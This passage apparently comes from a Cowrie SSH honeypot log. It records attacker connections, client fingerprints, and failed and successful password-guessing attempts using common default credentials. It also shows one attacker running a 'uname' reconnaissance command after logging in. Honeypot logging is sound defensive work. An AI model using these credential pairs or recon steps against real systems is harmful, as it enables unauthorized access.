{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:32:10.063980Z","src_ip":"135.181.101.111","session":"bc8c03c3e375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"publickeys","password":"publickeys2017!","message":"login attempt [publickeys/publickeys2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:32:10.282450Z","src_ip":"135.181.101.111","session":"bc8c03c3e375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:32:11.392445Z","src_ip":"135.181.101.111","session":"bc8c03c3e375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":54686,"dst_ip":"10.17.0.5","dst_port":22,"session":"290f9b7ee3b0","protocol":"ssh","message":"New connection: 103.153.254.168:54686 (10.17.0.5:22) [session: 290f9b7ee3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:32:29.737916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:32:29.751544Z","src_ip":"103.153.254.168","session":"290f9b7ee3b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:32:30.014967Z","src_ip":"103.153.254.168","session":"290f9b7ee3b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sybase","password":"12345","message":"login attempt [sybase/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:32:31.094289Z","src_ip":"103.153.254.168","session":"290f9b7ee3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:32:32.367562Z","src_ip":"103.153.254.168","session":"290f9b7ee3b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.116","src_port":59874,"dst_ip":"10.17.0.5","dst_port":22,"session":"e34729c4f123","protocol":"ssh","message":"New connection: 80.94.95.116:59874 (10.17.0.5:22) [session: e34729c4f123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:34:06.162998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:34:07.067563Z","src_ip":"80.94.95.116","session":"e34729c4f123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:34:07.234255Z","src_ip":"80.94.95.116","session":"e34729c4f123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:34:08.223453Z","src_ip":"80.94.95.116","session":"e34729c4f123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:34:09.336475Z","src_ip":"80.94.95.116","session":"e34729c4f123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":34606,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1c5b0d3f5dd","protocol":"ssh","message":"New connection: 103.153.254.168:34606 (10.17.0.5:22) [session: f1c5b0d3f5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:34:26.443017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:34:26.447539Z","src_ip":"103.153.254.168","session":"f1c5b0d3f5dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:34:26.721046Z","src_ip":"103.153.254.168","session":"f1c5b0d3f5dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"Ricardo123!","message":"login attempt [ricardo/Ricardo123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:34:27.811875Z","src_ip":"103.153.254.168","session":"f1c5b0d3f5dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:34:29.084626Z","src_ip":"103.153.254.168","session":"f1c5b0d3f5dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":42762,"dst_ip":"10.17.0.5","dst_port":22,"session":"960dd142b7b7","protocol":"ssh","message":"New connection: 103.153.254.168:42762 (10.17.0.5:22) [session: 960dd142b7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:36:34.570095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:36:34.574556Z","src_ip":"103.153.254.168","session":"960dd142b7b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:36:34.841753Z","src_ip":"103.153.254.168","session":"960dd142b7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"1234","message":"login attempt [worker/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:36:35.924308Z","src_ip":"103.153.254.168","session":"960dd142b7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:36:37.188759Z","src_ip":"103.153.254.168","session":"960dd142b7b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":37974,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8e525180c8c","protocol":"ssh","message":"New connection: 5.75.240.121:37974 (159.203.135.109:22) [session: b8e525180c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:39:39.662570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:39:39.667025Z","src_ip":"5.75.240.121","session":"b8e525180c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:39:39.757092Z","src_ip":"5.75.240.121","session":"b8e525180c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ilv","password":"ilv2017","message":"login attempt [ilv/ilv2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:39:39.938963Z","src_ip":"5.75.240.121","session":"b8e525180c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:39:41.031461Z","src_ip":"5.75.240.121","session":"b8e525180c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":47656,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb8b7f8e8aa0","protocol":"ssh","message":"New connection: 14.225.2.125:47656 (10.17.0.5:22) [session: eb8b7f8e8aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:14.041308Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:14.307818Z","src_ip":"14.225.2.125","session":"eb8b7f8e8aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":47662,"dst_ip":"10.17.0.5","dst_port":22,"session":"854efece4818","protocol":"ssh","message":"New connection: 14.225.2.125:47662 (10.17.0.5:22) [session: 854efece4818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:14.581835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:14.586877Z","src_ip":"14.225.2.125","session":"854efece4818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:14.859428Z","src_ip":"14.225.2.125","session":"854efece4818","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwe!!","message":"login attempt [root/qwe!!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:15.674844Z","src_ip":"14.225.2.125","session":"854efece4818","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:16.259044Z","src_ip":"14.225.2.125","session":"854efece4818","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:16.262305Z","src_ip":"14.225.2.125","session":"854efece4818","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:16.536780Z","src_ip":"14.225.2.125","session":"854efece4818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:16.541334Z","src_ip":"14.225.2.125","session":"854efece4818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":47952,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ab4d0427132","protocol":"ssh","message":"New connection: 138.128.241.222:47952 (159.203.135.109:22) [session: 1ab4d0427132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:41.041550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:40:41.045282Z","src_ip":"138.128.241.222","session":"1ab4d0427132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh